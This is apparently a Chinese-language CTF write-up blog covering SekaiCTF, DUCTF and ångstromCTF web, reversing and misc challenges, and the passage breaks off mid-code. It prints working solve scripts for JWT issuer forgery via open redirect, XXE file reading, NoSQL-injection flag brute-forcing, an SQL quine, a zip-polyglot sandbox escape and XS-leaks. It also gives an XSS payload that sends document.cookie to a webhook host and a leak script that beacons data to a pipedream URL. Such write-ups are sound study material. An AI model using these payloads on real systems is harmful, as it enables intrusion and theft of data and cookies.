if len(authz_header) < 2:
raise Exception("Bearer token not found")
token = authz_header[1]
if not authorize_request(token):
return "Authorization failed"
f = open("flag.txt")
secret_flag = f.read()
f.close()
@api.route("/flag")
def flag():
return secret_flag
此外可以觀察到,這題使用了RS256的jwt,且在get_public_key_url()
中會去對header中的issuer
欄位裡的url發起HTTP request,去get RSA的public key用於deocde jwt
所以只要我們能夠控制issuer
,即可讓server用我們自己的public key去decode我們用自己的private key創造的jwt
而除了api.py
以外,server的其他部分寫在app.py
中:
from flask import Flask, request, session, url_for, redirect, render_template, Response
import secrets
from api import api
from werkzeug.exceptions import HTTPException
app = Flask(__name__, template_folder=".")
app.secret_key = secrets.token_bytes()
jwks_file = open("jwks.json", "r")
jwks_contents = jwks_file.read()
jwks_file.close()
app.register_blueprint(api)
@app.after_request
def after_request_callback(response: Response):
# your code here
print(response.__dict__)
if response.headers["Content-Type"].startswith("text/html"):
updated = render_template("template.html", status=response.status_code, message=response.response[0].decode())
response.set_data(updated)
return response
@app.errorhandler(Exception)
def handle_exception(e):
if isinstance(e, HTTPException):
return e
return str(e), 500
@app.route("/", defaults={"path": ""})
@app.route("/<path:path>")
def home(path):
return "OK", 200
return render_template("template.html", status=200, message="OK")
@app.route("/login", methods=['GET', 'POST'])
def login():
return "Not Implemented", 501
return render_template("template.html", status=501, message="Not Implemented"), 501
@app.route("/.well-known/jwks.json")
def jwks():
return jwks_contents, 200, {'Content-Type': 'application/json'}
@app.route("/logout")
def logout():
session.clear()
redirect_uri = request.args.get('redirect', url_for('home'))
return redirect(redirect_uri)
這題我卡了很久,原本以為是要想辦法讓urlparse
的結果的netloc和requests.get
使用的netloc不同去SSRF
但後來發現根本不需要(似乎也不可能?),因為/logout
有個open redirect,
issuer
直接放http://localhost:8080/logout?redirect=WEBHOOK_URL
,redirect到自己的server就行了…
solve.py
:
import jwt
from flask import Flask
import requests
from Crypto.PublicKey import RSA
app = Flask(__name__)
URL = "http://issues-3m7gwj1d.ctf.sekai.team"
WEBHOOK_URL = "https://your-webhook-url"
# new a RSA key
key = RSA.generate(2048)
# get the x5c for the public key
public_key = key.publickey().exportKey("PEM").decode()
x5c = "\n".join(public_key.splitlines()[1:-1])
assert (
"-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(pubkey=x5c)
== public_key
)
private_key = key.exportKey("PEM")
@app.route("/")
def main():
data = {"user": "admin"}
issuer = (
f"http://localhost:8080/logout?redirect={WEBHOOK_URL}"
)
token = jwt.encode(data, private_key, algorithm="RS256", headers={"issuer": issuer})
# jwt.decode(token, public_key, algorithms=["RS256"])
print(f"Token: {token}")
s = requests.Session()
s.headers.update({"Authorization": "Bearer " + token})
r = s.get(URL + "/api/flag")
return r.text
@app.route("/.well-known/jwks.json")
def jwks():
return (
{"keys": [{"alg": "RS256", "x5c": [x5c]}]},
200,
{"Content-Type": "application/json"},
)
app.run(host="127.0.0.1", port=5000)
# Goto http://your-webhook-url to get the flag
# Flag: SEKAI{v4l1d4t3_y0ur_i55u3r_plz}
flag: SEKAI{v4l1d4t3_y0ur_i55u3r_plz}
這次學到了一些php的新招,對z3和jwt也更加熟練了一點
遺憾的是這次Strellic出的兩題XSS難題我一題都沒解出來,希望有招一日我能成功ak掉Strellic的web
]]>久違的用e^iπ+1day
的隊名自已打CTF,
雖然這次沒有解很多題,但是學到了不少,以下紀錄一些我有解掉的題目和有一題差一點解掉但有趣的題目
flag被切成兩半,一半放在/one/flag.txt
,另一半放在/two/flag.txt
兩個都會靠.htaccess
去阻擋request,.htaccess
分別為:
/one/.htaccess
:
RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]
/two/.htaccess
:
RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]
水題,讀一讀.htaccess
的規則就能解了
part one可以靠改Host
header繞過:
GET /one/flag.txt HTTP/1.1
Host: localhost
Connection: close
part two可以靠改urlencode繞過:
GET /two/%66lag.txt HTTP/1.1
Host: 34.87.217.252:30026
Connection: close
flag: DUCTF{thats_it_next_time_im_using_nginx}
這題題目的code看起來很雜,但實際上server在做的事就是在讀excel檔的metadata而已
WORKBOOK = "xl/workbook.xml"
@app.route("/downloads/fizzbuzz")
def return_fizzbuzz():
return send_file("./fizzbuzz.xlsm")
@app.route("/upload/testPandasImplementation")
def upload_file():
return render_template("upload.html")
@app.route("/metadata", methods = ['GET', 'POST'])
def view_metadata():
if request.method == "GET":
return render_template("error_upload.html")
if request.method == "POST":
f = request.files["file"]
tmpFolder = "./uploads/" + str(uuid.uuid4())
os.mkdir(tmpFolder)
filename = tmpFolder + "/" + secure_filename(f.filename)
f.save(filename)
try:
properties = getMetadata(filename)
extractWorkbook(filename, tmpFolder)
workbook = tmpFolder + "/" + WORKBOOK
properties.append(findInternalFilepath(workbook))
except Exception:
return render_template("error_upload.html")
finally:
shutil.rmtree(tmpFolder)
return render_template("metadata.html", items=properties)
可以觀察到在上傳檔案到/metadata
時,server會去parse excel檔的metadata
其中比較值得注意的是findInternalFilepath
的實作方式:
def findInternalFilepath(filename):
try:
prop = None
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
tree = etree.parse(filename, parser=parser)
root = tree.getroot()
internalNode = root.find(".//{http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac}absPath")
if internalNode != None:
prop = {
"Fieldname":"absPath",
"Attribute":internalNode.attrib["url"],
"Value":internalNode.text
}
return prop
except Exception:
print("couldnt extract absPath")
return None
此處特別用了lxml
的etree.XMLParser
去parsexl/workbook.xml
經典的XXE,由於parser開了load_dtd
和resolve_entities
,只需要在internalNode
裡面放可以讀檔的xxe payload即可:
xl/workbook.xml
(...
指的是其他不重要的東西,這個payload只需要修改server給的fizzbuzz.xlsm
即可):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [<!ENTITY file SYSTEM 'file:///etc/passwd'>]>
...
<x15ac:absPath url="/Users/Shared/" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac">&file;</x15ac:absPath>
...
solve.py
:
import requests
import os
URL = "https://web-dyslexxec-773a3cb4c483.2022.ductf.dev"
def main() -> None:
s = requests.Session()
if not os.path.exists("fizzbuzz.xlsm"):
r = s.get(URL + "/downloads/fizzbuzz")
with open("fizzbuzz.xlsm", "wb") as f:
f.write(r.content)
os.system("zip fizzbuzz.xlsm xl/workbook.xml")
with open("fizzbuzz.xlsm", "rb") as f:
r = s.post(URL + "/metadata", files={
"file": ("exploit.xlsm", f.read(), "application/vnd.ms-excel.sheet.macroEnabled.12")
})
print(r.text)
main()
flag: DUCTF{cexxelsyd_work_my_dyslexxec_friend}
首先server會利用mongodb創建一個屬於admin的note,且裡面放了flag:
let admin = await User.findOne({ username: 'admin' })
if(!admin) {
admin = new User({ username: 'admin' })
await admin.save()
}
let note = await Note.findOne({ noteId: 1337 })
if(!note) {
const FLAG = process.env.FLAG || 'DUCTF{test_flag}'
note = new Note({ owner: admin._id, noteId: 1337, contents: FLAG })
await note.save()
admin.notes.push(note)
await admin.save()
}
所以目標很明確,就是想辦法把admin的note弄出來
而查看note中的內容的功能主要寫在/edit
這個route底下:
router.post('/edit', ensureAuthed, async (req, res, next) => {
let q = req.query
try {
if('noteId' in q && parseInt(q.noteId) != NaN) {
const note = await Note.findOne(q)
if(!note) {
return next({ message: 'Note does not exist!' })
}
if(note.owner.toString() != req.user.userId.toString()) {
return next({ message: 'You are not the owner of this note!' })
}
let { contents } = req.body
if(!contents || contents.length > 200) {
return next({ message: 'Invalid contents' })
}
contents = contents.toString()
note.contents = contents
await note.save()
return res.json({ success: true, message: 'Note edited.' })
} else {
return next({ message: 'Invalid request' })
}
} catch(e) {
return next({ message: 'Invalid request' })
}
})
可以發現,server在用mongodb query note的時候是直接把req.query
當成findOne
的query
parameter
let q = req.query
try {
if('noteId' in q && parseInt(q.noteId) != NaN) {
const note = await Note.findOne(q)
...
且可以發現,這個server在處理?a[][b]=c
這種query時,實際上會parse成:
{
a: [
{
b: "c"
}
]
}
所以當我們輸入?$and[][contents][$gt]=UCTF{¬eId=1337
時,server會執行
const note = await Note.findOne(
{
$and: [
{
contents: {
$gt: "UCTF"
}
}
],
noteId: 1337
}
)
findOne
API 詳見 mongodb的doc
這時,因為UCTF{REAL_FLAG}
> UCTF{
,所以$and
的結果成立
server會執行這一段code:
if(note.owner.toString() != req.user.userId.toString()) {
return next({ message: 'You are not the owner of this note!' })
}
故server會順利fetch到noteId為1337的note,且我們會在response中看到You are not the owner of this note!
的訊息
但當我們執行以下的query時:
const note = await Note.findOne(
{
$and: [
{
contents: {
$gt: "UCTX"
}
}
],
noteId: 1337
}
)
由於X
> F
,所以UCTF{REAL_FLAG}
<UCTX
,$and
的結果是不成立的
故server會執行這段code:
if(!note) {
return next({ message: 'Note does not exist!' })
}
我們看到的訊息會是Note does not exist!
所以依靠這個方式,我們就能靠response的不同,爆破flag的內容
以下是solve script:
import requests
import secrets
import string
URL = "https://web-noteworthy-873b7c844f49.2022.ductf.dev"
chs = string.ascii_lowercase + string.ascii_uppercase + string.digits + "'.+-!@#$%?_"
chs = sorted(chs)
def is_query_success(s:requests.Session, query:str) -> bool:
r = s.post(URL + "/edit", params={
"noteId": "1337",
"$and[][contents][$gt]": query,
})
return "Note does not exist!" not in r.text and "You are not the owner of this note!" in r.text
def sanity_check(s:requests.Session) -> None:
if is_query_success(s, "ZZZZZZZZZ") or not is_query_success(s, "DUCTF{"):
print("Sanity check failed!")
exit(1)
print("Sanity check passed! Let's go!")
def main() -> None:
s = requests.Session()
r = s.post(URL + "/register", json={
"username": secrets.token_hex(16),
"password": secrets.token_hex(16),
})
assert r.json()["success"] == True
flag = "DUCTF{" # DUCTF{n0sql1_1s_th3_new_5qli}
sanity_check(s)
while not flag.endswith("}"):
found = False
for i, c in enumerate(chs):
print("Trying:", flag + c)
if not is_query_success(s, flag + c):
flag += chs[i - 1]
print("Found:", flag)
found = True
break
if not found:
flag += "}"
print("Found:", flag)
print("Flag:", flag)
main()
flag: DUCTF{n0sql1_1s_th3_new_5qli}
這題的server是用ruby寫的,主要的code是:
post '/' do
unless params[:tarfile] && (tempfile = params[:tarfile][:tempfile])
return err "File not sent"
end
unless tempfile.size <= 10240
return err "File too big"
end
path = SecureRandom.hex 16
unless Dir.mkdir "uploads/#{path}", 0755
return err "Error creating directory"
end
unless system "tar -xvf #{tempfile.path} -C uploads/#{path}"
return err "Error extracting tar file"
end
links = Dir.glob("uploads/#{path}/**/*", File::FNM_DOTMATCH).select do |f|
# Don't show . or ..
if [".", ".."].include? File.basename f
false
# Don't show symlinks. Additionally delete them, they may be unsafe
elsif File.symlink? f
File.unlink f
false
# Don't show directories (but show files under them)
elsif File.directory? f
false
# Show everything else
else
true
end
end
return ok links
end
get '/uploads/*' do
filepath = "uploads/#{::Rack::Utils.clean_path_info params['splat'].first}"
halt 404 unless File.file? filepath
send_file filepath
end
server會給你上傳一個tar,解壓之後會glob解壓的目錄底下的所有檔案,unlink所有symlink
比賽時我只有嘗試改symlink的mode,所以最後沒有解出來
最後的解法其實是:
若一個目錄沒有read權限,glob是找不到裡面有哪些東西的!
所以只需要把flag的symlink藏在那個folder中,即可繞過檢查
solve.py
:
import requests
import tarfile
from io import BytesIO
import re
URL = "https://web-no-symlink-821c2e0dbc5e.2022.ductf.dev/"
def create_tarfile():
with tarfile.open("tarfile.tar", "w") as tar:
txt = tarfile.TarInfo("test.txt")
txt.size = len("test")
tar.addfile(txt, BytesIO(b"test"))
dir = tarfile.TarInfo("dir/")
dir.type = tarfile.DIRTYPE
# execute only
dir.mode = 0o100
tar.addfile(dir)
flag = tarfile.TarInfo("dir/flag")
flag.type = tarfile.SYMTYPE
flag.linkname = "/flag"
tar.addfile(flag)
def main():
create_tarfile()
with open("tarfile.tar", "rb") as f:
r = requests.post(URL, files={"tarfile": f})
# print(r.text)
folder = re.search(r"uploads/(\w+)/test\.txt", r.text).group(1)
print(requests.get(URL + "uploads/" + folder + "/dir/flag").text)
# DUCTF{are_symlinks_really_worth_the_trouble_they_cause?????}
main()
flag: DUCTF{are_symlinks_really_worth_the_trouble_they_cause?????}
這題的code很簡單,基本上就是有一個很明顯的sql injection漏洞,但server會去確認query的結果和post request的內容是不是一樣的
@app.route('/', methods=['POST'])
def root_post():
post = request.form
# Sent params?
if 'username' not in post or 'password' not in post:
return 'Username or password missing from request'
# We are recreating this every request
con = sqlite3.connect(':memory:')
cur = con.cursor()
cur.execute('CREATE TABLE users (username TEXT, password TEXT)')
cur.execute(
'INSERT INTO users VALUES ("admin", ?)',
[hashlib.md5(os.environ['FLAG'].encode()).hexdigest()]
)
query = 'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'.format(post=post)
output = cur.execute(
'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
.format(post=post)
).fetchone()
# Credentials OK?
if output is None:
return 'Wrong credentials'
# Nothing suspicious?
username, password = output
if username != post["username"] or password != post["password"]:
return 'Wrong credentials (are we being hacked?)'
# Everything is all good
return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)
這題和2020年的AIS3 EOF Qual的Cyberpunk 1977非常像
一樣分為兩個步驟SQL Quine
和format string的洞
SQL Quine的部分我到現在還是沒辦法自己寫出來…,所以我是直接修改splitline的Cyberpunk 1977的exploit
但
!r
把這題弄的很麻煩,所以修payload的過程真的痛苦…
format string的部分就簡單了,可以觀察到:
return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)
會把post["username"]
先用f-string放進那一段字串中,再使用.format
去把request.post
放進去
debug一下可以發現,可以利用request.post.pop.__globals__['os'].environ['FLAG']
拿到flag
所以我們只需要讓username等於{post.pop.__globals__[os].environ[FLAG]}
,即可拿到flag
最後的solve.py
:
import requests
URL = "https://web-sqli2022-85d13aec009e.2022.ductf.dev/"
# URL = "http://127.0.0.1:5000"
def main() -> None:
username = "{post.pop.__globals__[os].environ[FLAG]}"
query = f'\'UNION SELECT "{username}",substr(query,2,###)||char(34)||replace(substr(query,2),char(34),char(34)||char(34))||char(34)||substr(query,@@@)'
password = f"""
{query} FROM(SELECT "{query.replace('"','""')} FROM(SELECT as query)--" as query)--
""".strip()
offset = password.index('"\x27UNION')
password = password.replace("###", str(offset)).replace("@@@", str(offset + 1))
print("username:")
print(username)
print("password:")
print(password)
server_query = "SELECT * FROM users WHERE username = {username!r} AND password = {password!r}".format(
username=username, password=password
)
print("server query:")
print(server_query)
r = requests.post(URL, data={"username": username, "password": password})
print(r.text) # DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}
main()
flag: DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}
這題是用x86 asm寫的程式
SECTION .data
c db 0xc4, 0xda, 0xc5, 0xdb, 0xce, 0x80, 0xf8, 0x3e, 0x82, 0xe8, 0xf7, 0x82, 0xef, 0xc0, 0xf3, 0x86, 0x89, 0xf0, 0xc7, 0xf9, 0xf7, 0x92, 0xca, 0x8c, 0xfb, 0xfc, 0xff, 0x89, 0xff, 0x93, 0xd1, 0xd7, 0x84, 0x80, 0x87, 0x9a, 0x9b, 0xd8, 0x97, 0x89, 0x94, 0xa6, 0x89, 0x9d, 0xdd, 0x94, 0x9a, 0xa7, 0xf3, 0xb2
SECTION .text
global main
main:
xor rax, rax
xor rdi, rdi
mov rdx, 0x32
sub rsp, 0x32
mov rsp, rsi
syscall
mov r10, 0
l:
movzx r11, byte [rsp + r10]
movzx r12, byte [c + r10]
add r11, r10
add r11, 0x42
xor r11, 0x42
and r11, 0xff
cmp r11, r12
jne b
add r10, 1
cmp r10, 0x32
jne l
mov rax, 0x3c
mov rdi, 0
syscall
b:
mov rax, 0x3c
mov rdi, 1
syscall
目標是讓r11和r12 cmp完不要jump到b
,依照這個邏輯,直接上z3就行了
solve.py
:
from z3 import *
import string
c = [0xc4, 0xda, 0xc5, 0xdb, 0xce, 0x80, 0xf8, 0x3e, 0x82, 0xe8, 0xf7, 0x82, 0xef, 0xc0, 0xf3, 0x86, 0x89, 0xf0, 0xc7, 0xf9, 0xf7, 0x92, 0xca, 0x8c, 0xfb, 0xfc, 0xff, 0x89, 0xff, 0x93, 0xd1, 0xd7, 0x84, 0x80, 0x87, 0x9a, 0x9b, 0xd8, 0x97, 0x89, 0x94, 0xa6, 0x89, 0x9d, 0xdd, 0x94, 0x9a, 0xa7, 0xf3, 0xb2]
chs = string.printable.encode()
def main() -> None:
s = Solver()
flag = [BitVec(f"flag{i}", 10) for i in range(50)]
for i, ch in enumerate("DUCTF{"):
s.add(flag[i] == ord(ch))
s.add(flag[-1] == ord("}"))
for f in flag:
s.add(Or([f == ch for ch in chs]))
# print(s)
for r10 in range(50):
r11 = flag[r10]
r12 = c[r10]
'''
add r11, r10
add r11, 0x42
xor r11, 0x42
and r11, 0xff
cmp r11, r12
'''
r11 = r11 + r10 + 0x42
r11 = r11 ^ 0x42
r11 = r11 & 0xff
s.add(r11 == r12)
if s.check() == sat:
m = s.model()
print(bytes([m[f].as_long() for f in flag]).decode())
if __name__ == "__main__":
main()
flag: DUCTF{r3v_is_3asy_1f_y0u_can_r34d_ass3mbly_r1ght?}
題目會把flag當成key做stream cipher
class baby_arx():
def __init__(self, key):
assert len(key) == 64
self.state = list(key)
def b(self):
b1 = self.state[0]
b2 = self.state[1]
b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xff
b2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xff
b = (b1 + b2) % 256
self.state = self.state[1:] + [b]
return b
def stream(self, n):
return bytes([self.b() for _ in range(n)])
FLAG = open('./flag.txt', 'rb').read().strip()
cipher = baby_arx(FLAG)
out = cipher.stream(64).hex()
print(out)
# cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b
因為我們知道flag的開頭是DUCTF{
,所以是有可能暴力恢復明文的
這裡再次使用z3去爆破
需要注意的時是我當時卡了一陣子,因為BitVec的bits數我一開始只設定8,導致有些超過8 bits的數算不出來,最後改成10bits就可以了
solve.py
:
from z3 import *
import string
chs = string.printable
chs = sorted(chs.encode())
def main() -> None:
s = Solver()
flag = [BitVec(f"flag_{i}", 10) for i in range(64)]
state = flag.copy()
output = "cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b"
output = bytes.fromhex(output)
# print("ouptut:", output)
assert len(output) == 64
for i, c in enumerate(b"DUCTF{"):
s.add(flag[i] == c)
s.add(flag[-1] == ord("}"))
# print(s)
for i in range(64):
s.add(Or([flag[i] == c for c in chs]))
b1 = state[0]
b2 = state[1]
b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xFF
b2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xFF
b = (b1 + b2) % 256
state = state[1:] + [b]
s.add(b == output[i])
# print(s)
assert s.check() == sat
# while s.check() == sat:
if s.check() == sat:
flag_str = "".join(chr(s.model()[f].as_long()) for f in flag)
print(flag_str)
# s.add(Or([f != s.model()[f] for f in flag]))
main()
flag: DUCTF{i_d0nt_th1nk_th4ts_h0w_1t_w0rks_actu4lly_92f45fb961ecf420}
Server會在你輸入的Python code的最前面插入exit(0)\n
,之後寫入一個temp file後用python <script>
的方式去run他,如果有stderr的話就輸出
#!/usr/bin/env python3
import subprocess
import sys
import tempfile
print("Welcome to the Python syntax checking service!")
print("The safest code is the code you don't even execute.")
print("Enter your code. Write __EOF__ to end.")
code = b"exit(0)\n"
for line in sys.stdin.buffer:
if line.strip() == b"__EOF__":
break
code += line
with tempfile.NamedTemporaryFile() as sandbox:
sandbox.write(code)
sandbox.flush()
pipes = subprocess.Popen(["python3", sandbox.name], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
_, stderr = pipes.communicate()
if pipes.returncode == 0:
print("Syntax OK!")
else:
print("There was an error:")
print(stderr.decode())
看起來不太可能可以執行任意的Python code,因為一開始就exit(0)
了
但實際上,若仔細看Python的document,可以發現:
https://docs.python.org/3/using/cmdline.html#interface-options
<script>
Execute the Python code contained in script, which must be a filesystem path (absolute or relative) referring to either a Python file, a directory containing a
__main__.py
file, or a zipfile containing a__main__.py
file.
可以注意到,python的script不僅支援一般文字檔的script,還支持目錄或是zipfile!
但這有什麼用呢?
若有玩過2021 0ctf的1linephp的話,應該還記得zip檔其實是很鬆散的,
且因爲zip是從檔案的後面開始讀,所以他的prefix不一定要是PK......
,可以是任意的字元
相關的writeup和zip的構造方法可以看perfect blue的writeup
故綜合上述資訊,我們只需要構造一個包含__main__.py
的zip檔,且prefix為exit(0)\n
即可,最後切掉exit(0)\n
後送出就可以了任意執行Python code了
後來跟maple3142討論才知道,其實根本不用去fix那個zip,直接把zip整個塞到
exit(0)\n
後面也能成功 lol
過了這一關後,還有另一個小問題是server似乎沒有對外連線,所以沒辦法寫reverse shell出來,
但由於server會把stderr的東西print出來,所以只需要透過stderr把flag送出來即可(這裡我利用raise Exception(FLAG)
)
solve script:
import os
from pwn import *
# context.log_level = "debug"
def main():
with open("__main__.py", "w") as f:
f.write("raise Exception(open('/chal/flag.txt').read())")
if os.path.exists("a.zip"):
os.remove("a.zip")
os.system("zip a.zip __main__.py")
os.system("echo 'exit(0)' > f")
os.system("printf AA >> f")
os.system("cat f a.zip > b.zip")
os.system("zip -F b.zip --out c.zip")
io = remote("2022.ductf.dev", 30002)
with open("c.zip", "rb") as f:
payload = f.read()
payload = payload[len("exit(0)\n") :]
io.sendlineafter(b"Write __EOF__ to end.", payload)
io.sendline(b"__EOF__")
io.interactive() # Exception: DUCTF{next_time_ill_just_use_ast.parse}
if __name__ == "__main__":
main()
flag: DUCTF{next_time_ill_just_use_ast.parse}
這場的題目很多,但最後很可惜,沒解幾題(有些沒source code的web真的好難解…)
不過還是學到不少東西: tar和linux的相關知識、z3的操作、SQL Quine等等,總體來說是很不錯的一場CTF!
]]>這次我和Water Paddler一起參加了ångstrom CTF,最後我們拿下了第3名
這次我總共解了7題web和1題misc,另外分別有1題web和1題misc我算是有稍微參與解題,但最後是由隊友解掉了
不過我還是從那2題學到了一些東西,所以也會在底下的文章中大致介紹一下那2題的重點,和另一題我覺得值得介紹的web
我解的其他題有點水,就不介紹了,如果你還是有興趣,我有簡易的解法紀錄:
Note: 打*號的就是我有參與,但不是我解掉的題目
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search);
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
}
</script>
這題很短,主要就是想辦法在被DOMPurify.sanitize
情況下創造可以XSS的payload
這題蠻有趣的,很多解法,我的解法可以概括成兩步:
用link的markdown把html tag拆開
用壞掉的html tag XSS
首先,可以發現[<h1>](#</h1>)
這種markdown經過parse之後的結果是:
<p><a href="#%3C/h1%3E"><h1></a></p>
可以看到,h1被拆開了! 也就是說maked在parse它的時候,<h1>
是拿去獨立render的!
再來可以發現,DOMPurify
並不會改變一個tag attribute中的值,也就是說<p x='<style onload=alert(1)>'><p>
在sanitize
完之後,<style onload=alert(1)>
中的值不會有任何改變!
當時我就在想,如果結合以上這兩個特性,是不是就能XSS了?
最後也確實找到了解法:
以下這個markdown:
[<p x='<style onload=alert(1)>](#'></p>)
會被parse成:
<p><a href="#x"><p x='<style onload=alert(1)></a></p>\n
可以發現style的tag成功跑出來了!
solution:
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
webhook result:
flag=wow%2C%20you%20got%20it%20in%20one%20go%2C%20it'd%20be%20cool%20if%20you%20could%20show%20me%20your%20solution%3A%20actf%7Bmy_code_is_upside_down_topsy_turvy_1029318%7D
flag: actf{my_code_is_upside_down_topsy_turvy_1029318}
後來發現不只一種解法
另一種來自Strellic:
<a title="a
<img src=x onerror=alert(1)>">yep</a>
原理是連換兩行之後<img src=x onerror=alert(1)>">yep</a>
被認為和<a title="a
已經是分開的部分,所以成功XSS
另一種來自maple3142:
[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>
這個的原理有點長,但其實核心的思想和我的差不多,就是想辦法讓有些應該要被當html tag的部分被當markdown,所以導致有些壞掉的tag中的內容,就成功逃脫出來了
詳細的原因可參見他的writeup
題目總共有兩個主要的功能:
一個讓你設cookie:
app.post("/s", (req, res) => {
if (req.body.search) {
for (const [name, val] of Object.entries(req.body)) {
res.cookie(name, val, { httpOnly: true });
}
}
res.redirect("/");
});
一個是oracle,查詢成功和失敗有兩種redirect的結果:
app.get("/q", queryMiddleware, (req, res) => {
const query = req.query.q || "h"; // h
let status;
if (res.locals.search.includes(query)) {
status =
"succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
} else {
status = "failed";
}
res.redirect(
"/?m=" +
encodeURIComponent(
`your search that took place at ${Date.now()} has ${status}`
)
);
});
而oracle查詢的內容,普通user是經由search
這個cookie獲得的,而admin則是有自己的cookie,且內容為flag:
function queryMiddleware(req, res, next) {
res.locals.search =
req.cookies.search || "the quick brown fox jumps over the lazy dog";
// admin is a cool kid
if (req.cookies.admin === adminSecret) {
res.locals.search = flag;
}
next();
}
我第一個想法是使用cache probing來解:
(靈感和一些code是來自maple3142的writeup)
const sleep = async ms => new Promise(resolve => setTimeout(resolve, ms));
const ifCached = async (url, wait_time = 10) => {
const start = performance.now();
const controller = new AbortController();
const signal = controller.signal;
let timeout = setTimeout(() => {
controller.abort();
}, wait_time);
try {
await fetch(url, {
mode: "no-cors",
cache: "force-cache",
signal: signal
});
} catch (err) {
console.log("No cache!");
return false
}
clearTimeout(timeout);
const cost = performance.now() - start; // idk why sometime didn't abort successfully
if (cost < wait_time) {
console.log('Cache found!')
} else {
console.log('No cache!')
}
return cost < wait_time;
}
const test_url = 'https://sustenance.web.actf.co/?m=' + Date.now();
const main = async () => {
window.open(test_url);
await sleep(2000);
await ifCached(test_url);
await ifCached(test_url + 'dne');
}
await main();
可以藉由上面的script發現只要在同個cache key下,就能順利檢測一個url是否被造訪過
所以只需要寫一個script在open('https://sustenance.web.actf.co/q?q=actf{')
之後,暴力搜尋大約2000ms的區間所對應的搜尋成功訊息是否被造訪過,即可知道查詢的query有沒有成功
而要有同個cache key也很簡單,只需要用其他題的XSS或RCE,即可製造出能夠幫忙跑script的頁面,就以xtra-salty-sardines.web.actf.co
這個有XSS的頁面來說,他的cache key和sustenance.web.actf.co
都是('actf.co', 'actf.co', 'sustenance.web.actf.co/?m=...')
,因為他們都有同樣的eTLD+1
(詳細機制請見cache partition的介紹)
根據上述的策略,我寫了一個簡易的script來leak flag,但即使我在local有成功把flag leak出來,remote卻永遠都是false positive,所以一開始我覺得大概是走錯路,就沒繼續試這個方法了
但我後來還是有把遇到的問題放到隊伍的聊天室中,想說看看能不能提供隊友靈感
沒想到huli發現我的script其實概念上是能跑的,而之所以失敗,是因為remote的網站回應速度太快了XD
後來我也自己測試了一下,確實timeout只要改到3ms,就可以正確偵測到是否有被cache!
以下連結是huli用來解掉這題的script:
https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722
而最酷的是,後來經過huli測試發現,其實admin bot的headless chrome並沒有cache partition,也就是說他的cache機制是只看resource的連結,故就算使用不同的eTLD+1,還是會成功!
其實這題並不需要cache probing,因為在/s
的部分,若設定長度非常長的cookie,在查詢成功時的連結長度將會超過server能接受的上限,導致431 Request Header Fields Too Large
反之,若查詢失敗,因為連結長度比較短,所以不會有error
故只需要利用這個特性,在samesite的頁面上去偵測有無error發生,即可順利leak flag
這裡附上Strellic的解法:
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async (len=3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async (url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//en4u1nbmyeahu.x.pipedream.net/";
let known = "actf{";
window.onload = async () => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
Source code:
#!/usr/local/bin/node
// flag in ./flag.txt
const vm = require("vm");
const readline = require("readline");
const interface = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
interface.question(
"Welcome to CaaSio: Please Stop Edition! Enter your calculation:\n",
function (input) {
interface.close();
if (
input.length < 215 &&
/^[\x20-\x7e]+$/.test(input) &&
!/[.\[\]{}\s;`'"\\_<>?:]/.test(input) &&
!input.toLowerCase().includes("import")
) {
try {
const val = vm.runInNewContext(input, {});
